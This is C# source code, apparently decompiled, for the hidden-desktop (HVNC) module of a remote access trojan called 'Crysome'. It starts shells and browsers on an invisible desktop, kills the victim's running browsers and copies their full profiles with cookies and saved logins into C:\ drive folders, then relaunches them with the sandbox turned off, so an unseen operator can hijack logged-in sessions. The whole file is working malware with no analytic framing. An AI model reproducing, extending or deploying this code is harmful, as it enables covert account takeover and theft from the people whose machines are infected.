using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Win32;

namespace Crysome.Client.Hvnc;

internal sealed class HvncProcessHandler
{
	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
	private struct STARTUPINFO
	{
		public int cb;

		public string lpReserved;

		public string lpDesktop;

		public string lpTitle;

		public int dwX;

		public int dwY;

		public int dwXSize;

		public int dwYSize;

		public int dwXCountChars;

		public int dwYCountChars;

		public int dwFillAttribute;

		public int dwFlags;

		public short wShowWindow;

		public short cbReserved2;

		public IntPtr lpReserved2;

		public IntPtr hStdInput;

		public IntPtr hStdOutput;

		public IntPtr hStdError;
	}

	private struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;

		public IntPtr hThread;

		public int dwProcessId;

		public int dwThreadId;
	}

	private const int CREATE_NEW_CONSOLE = 16;

	private const int CREATE_UNICODE_ENVIRONMENT = 1024;

	private readonly string _desktopName;

	private const string ChromiumFlags = "--no-sandbox --allow-no-sandbox-job --disable-gpu";

	[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

	public HvncProcessHandler(string desktopName)
	{
		_desktopName = desktopName;
	}

	private static bool IsAdmin()
	{
		try
		{
			using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent();
			return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator);
		}
		catch
		{
			return false;
		}
	}

	public bool StartExplorer()
	{
		string text = "C:\\Windows\\explorer.exe /NoUACCheck";
		if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
		{
			return true;
		}
		return CreateProc(text);
	}

	public bool StartRunDialog()
	{
		return CreateProc("C:\\Windows\\System32\\rundll32.exe shell32.dll,#61");
	}

	public bool StartCmd()
	{
		string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "cmd.exe");
		text = (string.IsNullOrEmpty(text) ? "cmd.exe" : text);
		if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
		{
			return true;
		}
		return CreateProc(text);
	}

	public bool StartPowerShell()
	{
		string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "WindowsPowerShell", "v1.0", "powershell.exe");
		if (!File.Exists(text))
		{
			text = "powershell.exe";
		}
		if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
		{
			return true;
		}
		return CreateProc(text);
	}

	public bool StartNotepad()
	{
		string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe");
		if (File.Exists(text))
		{
			return CreateProc(text);
		}
		return false;
	}

	public bool StartCalculator()
	{
		string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "calc.exe");
		if (File.Exists(text))
		{
			return CreateProc(text);
		}
		text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32", "calc.exe");
		if (File.Exists(text))
		{
			return CreateProc(text);
		}
		return false;
	}

	private static string GetRegPath(string keyPath, string valueName = "")
	{
		try
		{
			if (Registry.GetValue(keyPath, valueName, null) is string text)
			{
				string text2 = text.Trim('"');
				if (text2.Contains("\""))
				{
					text2 = text2.Split('"')[1];
				}
				return text2;
			}
		}
		catch
		{
		}
		return null;
	}

	public string GetChromePath()
	{
		try
		{
			using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry32).OpenSubKey("ChromeHTML\\shell\\open\\command");
			if (registryKey != null && registryKey.GetValue(null) is string text)
			{
				string[] array = text.Split('"');
				return (array.Length >= 2) ? array[1] : null;
			}
		}
		catch
		{
		}
		return null;
	}

	public string GetEdgePath()
	{
		try
		{
			using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe");
			return registryKey?.GetValue("") as string;
		}
		catch
		{
		}
		return null;
	}

	public string GetFirefoxPath()
	{
		try
		{
			using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox");
			if (!(registryKey?.GetValue("CurrentVersion") is string text))
			{
				return null;
			}
			using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox\\" + text + "\\Main");
			return registryKey2?.GetValue("PathToExe") as string;
		}
		catch
		{
		}
		return null;
	}

	public string GetOperaPath()
	{
		try
		{
			using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
			if (registryKey == null)
			{
				return null;
			}
			string[] subKeyNames = registryKey.GetSubKeyNames();
			foreach (string text in subKeyNames)
			{
				if (!text.Contains("Opera") || text.Contains("GX"))
				{
					continue;
				}
				using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
				if (registryKey2?.GetValue("") is string text2)
				{
					return text2.Trim('"');
				}
			}
		}
		catch
		{
		}
		return null;
	}

	public string GetOperaGXPath()
	{
		try
		{
			using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
			if (registryKey == null)
			{
				return null;
			}
			string[] subKeyNames = registryKey.GetSubKeyNames();
			foreach (string text in subKeyNames)
			{
				if (!text.Contains("Opera") || !text.Contains("GX"))
				{
					continue;
				}
				using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
				if (registryKey2?.GetValue("") is string text2)
				{
					return text2.Trim('"');
				}
			}
		}
		catch
		{
		}
		return null;
	}

	public string GetBravePath()
	{
		return GetRegPath("HKEY_CLASSES_ROOT\\BraveHTML\\shell\\open\\command");
	}

	public bool StartChrome()
	{
		string chromePath = GetChromePath();
		if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
		{
			return false;
		}
		return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
	}

	public bool StartChromeCloned()
	{
		string chromePath = GetChromePath();
		if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
		{
			return false;
		}
		return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
	}

	public bool StartEdge()
	{
		string edgePath = GetEdgePath();
		if (string.IsNullOrEmpty(edgePath) || !File.Exists(edgePath))
		{
			return false;
		}
		return CreateProc("\"" + edgePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\EdgeAutomationData");
	}

	public bool StartFirefox()
	{
		string firefoxPath = GetFirefoxPath();
		if (string.IsNullOrEmpty(firefoxPath) || !File.Exists(firefoxPath))
		{
			return false;
		}
		return CreateProc("\"" + firefoxPath + "\" -no-remote -profile C:\\FirefoxAutomationData");
	}

	public bool StartOpera()
	{
		string operaPath = GetOperaPath();
		if (string.IsNullOrEmpty(operaPath) || !File.Exists(operaPath))
		{
			return false;
		}
		return CreateProc("\"" + operaPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaAutomationData");
	}

	public bool StartOperaGX()
	{
		string operaGXPath = GetOperaGXPath();
		if (string.IsNullOrEmpty(operaGXPath) || !File.Exists(operaGXPath))
		{
			return false;
		}
		return CreateProc("\"" + operaGXPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaGXAutomationData");
	}

	public bool StartBrave()
	{
		string bravePath = GetBravePath();
		if (string.IsNullOrEmpty(bravePath) || !File.Exists(bravePath))
		{
			return false;
		}
		return CreateProc("\"" + bravePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\BraveAutomationData");
	}

	private static void KillBrowsersByDefaultProfile(string exeName, string automationDataDir)
	{
		try
		{
			foreach (ManagementObject item in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE Name = '" + exeName + "'").Get())
			{
				if (!(item["CommandLine"]?.ToString() ?? "").Contains(automationDataDir))
				{
					try
					{
						Process.GetProcessById(Convert.ToInt32(item["ProcessId"])).Kill();
					}
					catch
					{
					}
				}
			}
		}
		catch
		{
		}
	}

	public bool StartDiscord()
	{
		string text = null;
		try
		{
			using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Discord");
			text = registryKey?.GetValue("DisplayIcon") as string;
			if (text != null)
			{
				text = text.Trim('"');
			}
		}
		catch
		{
		}
		Process[] processesByName;
		if (string.IsNullOrEmpty(text) || !File.Exists(text))
		{
			text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord", "Update.exe");
			if (!File.Exists(text))
			{
				return false;
			}
			processesByName = Process.GetProcessesByName("Discord");
			foreach (Process process in processesByName)
			{
				try
				{
					process.Kill();
				}
				catch
				{
				}
			}
			return CreateProc("\"" + text + "\" --processStart Discord.exe");
		}
		processesByName = Process.GetProcessesByName("Discord");
		foreach (Process process2 in processesByName)
		{
			try
			{
				process2.Kill();
			}
			catch
			{
			}
		}
		return CreateProc("\"" + text + "\"");
	}

	private static string UserProfilePath(string rel)
	{
		return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), rel);
	}

	private static async Task<bool> CopyDirAsync(string sourceDir, string destDir)
	{
		if (string.IsNullOrEmpty(sourceDir) || !Directory.Exists(sourceDir))
		{
			return false;
		}
		try
		{
			if (Directory.Exists(destDir))
			{
				await Task.Run(delegate
				{
					try
					{
						Directory.Delete(destDir, recursive: true);
					}
					catch
					{
					}
				});
			}
			await Task.Run(() => Directory.CreateDirectory(destDir));
			foreach (string item in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
			{
				string rel = item.Substring(sourceDir.Length + 1);
				await Task.Run(() => Directory.CreateDirectory(Path.Combine(destDir, rel)));
			}
			SemaphoreSlim sem = new SemaphoreSlim(10);
			await Task.WhenAll(Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories).Select((Func<string, Task>)async delegate(string file)
			{
				await sem.WaitAsync();
				try
				{
					string path = file.Substring(sourceDir.Length + 1);
					string dest = Path.Combine(destDir, path);
					await Task.Run(delegate
					{
						try
						{
							File.Copy(file, dest, overwrite: true);
						}
						catch
						{
						}
					});
				}
				finally
				{
					sem.Release();
				}
			}));
			return true;
		}
		catch
		{
			return false;
		}
	}

	private static string RecursiveFindDir(string dir, string markerFile)
	{
		if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir))
		{
			return null;
		}
		if (File.Exists(Path.Combine(dir, markerFile)))
		{
			return dir;
		}
		try
		{
			string[] directories = Directory.GetDirectories(dir);
			for (int i = 0; i < directories.Length; i++)
			{
				string text = RecursiveFindDir(directories[i], markerFile);
				if (text != null)
				{
					return text;
				}
			}
		}
		catch
		{
		}
		return null;
	}

	private static async Task<int> FindProcessByCommandLine(string processName, string searchStr)
	{
		return await Task.Run(delegate
		{
			try
			{
				foreach (ManagementObject item in new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name = '" + processName + "'").Get())
				{
					string text = item["CommandLine"]?.ToString();
					if (text != null && text.Contains(searchStr))
					{
						return Convert.ToInt32(item["ProcessId"]);
					}
				}
			}
			catch
			{
			}
			return -1;
		});
	}

	private async Task<bool> CloneChromeAsync()
	{
		return await CopyDirAsync(UserProfilePath("AppData\\Local\\Google\\Chrome\\User Data"), "C:\\ChromeAutomationData");
	}

	private async Task<bool> CloneEdgeAsync()
	{
		return await CopyDirAsync(UserProfilePath("AppData\\Local\\Microsoft\\Edge\\User Data"), "C:\\EdgeAutomationData");
	}

	private async Task<bool> CloneFirefoxAsync()
	{
		string text = RecursiveFindDir(UserProfilePath("AppData\\Roaming\\Mozilla\\Firefox\\Profiles"), "addons.json");
		bool flag = text != null;
		if (flag)
		{
			flag = await CopyDirAsync(text, "C:\\FirefoxAutomationData");
		}
		return flag;
	}

	private async Task<bool> CloneOperaAsync()
	{
		return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera Stable"), "C:\\OperaAutomationData");
	}

	private async Task<bool> CloneOperaGXAsync()
	{
		return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera GX Stable"), "C:\\OperaGXAutomationData");
	}

	private async Task<bool> CloneBraveAsync()
	{
		return await CopyDirAsync(UserProfilePath("AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"), "C:\\BraveAutomationData");
	}

	private async Task HandleCloneChromeAsync()
	{
		KillBrowsersByDefaultProfile("chrome.exe", "ChromeAutomationData");
		if (!(await CloneChromeAsync()))
		{
			int num = await FindProcessByCommandLine("chrome.exe", "ChromeAutomationData");
			if (num >= 0)
			{
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
				await CloneChromeAsync();
			}
		}
		Thread.Sleep(1000);
		StartChromeCloned();
	}

	private async Task HandleCloneEdgeAsync()
	{
		KillBrowsersByDefaultProfile("msedge.exe", "EdgeAutomationData");
		if (!(await CloneEdgeAsync()))
		{
			int num = await FindProcessByCommandLine("msedge.exe", "EdgeAutomationData");
			if (num >= 0)
			{
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
				await CloneEdgeAsync();
			}
		}
		Thread.Sleep(1000);
		StartEdge();
	}

	private async Task HandleCloneFirefoxAsync()
	{
		KillBrowsersByDefaultProfile("firefox.exe", "FirefoxAutomationData");
		if (!(await CloneFirefoxAsync()))
		{
			int num = await FindProcessByCommandLine("firefox.exe", "FirefoxAutomationData");
			if (num >= 0)
			{
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
				await CloneFirefoxAsync();
			}
		}
		Thread.Sleep(1000);
		StartFirefox();
	}

	private async Task HandleCloneOperaAsync()
	{
		KillBrowsersByDefaultProfile("opera.exe", "OperaAutomationData");
		if (!(await CloneOperaAsync()))
		{
			int num = await FindProcessByCommandLine("opera.exe", "OperaAutomationData");
			if (num >= 0)
			{
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
				await CloneOperaAsync();
			}
		}
		Thread.Sleep(1000);
		StartOpera();
	}

	private async Task HandleCloneOperaGXAsync()
	{
		KillBrowsersByDefaultProfile("opera.exe", "OperaGXAutomationData");
		if (!(await CloneOperaGXAsync()))
		{
			int num = await FindProcessByCommandLine("opera.exe", "OperaGXAutomationData");
			if (num >= 0)
			{
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
				await CloneOperaGXAsync();
			}
		}
		Thread.Sleep(1000);
		StartOperaGX();
	}

	private async Task HandleCloneBraveAsync()
	{
		KillBrowsersByDefaultProfile("brave.exe", "BraveAutomationData");
		if (!(await CloneBraveAsync()))
		{
			int num = await FindProcessByCommandLine("brave.exe", "BraveAutomationData");
			if (num >= 0)
			{
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
				await CloneBraveAsync();
			}
		}
		Thread.Sleep(1000);
		StartBrave();
	}

	public void HandleCloneRequest(byte action)
	{
		Task.Run(async delegate
		{
			_ = 5;
			try
			{
				switch (action)
				{
				case 11:
					await HandleCloneChromeAsync();
					break;
				case 12:
					await HandleCloneEdgeAsync();
					break;
				case 13:
					await HandleCloneFirefoxAsync();
					break;
				case 14:
					await HandleCloneOperaAsync();
					break;
				case 15:
					await HandleCloneOperaGXAsync();
					break;
				case 16:
					await HandleCloneBraveAsync();
					break;
				case 19:
					StartDiscord();
					break;
				case 17:
				case 18:
					break;
				}
			}
			catch (Exception ex)
			{
				Program.Log("HVNC clone: " + ex.Message);
			}
		});
	}

	public bool CreateProc(string commandLine)
	{
		if (string.IsNullOrEmpty(commandLine))
		{
			return false;
		}
		STARTUPINFO lpStartupInfo = new STARTUPINFO
		{
			cb = Marshal.SizeOf(typeof(STARTUPINFO)),
			lpDesktop = _desktopName
		};
		PROCESS_INFORMATION lpProcessInformation;
		return CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 1040, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation);
	}
}
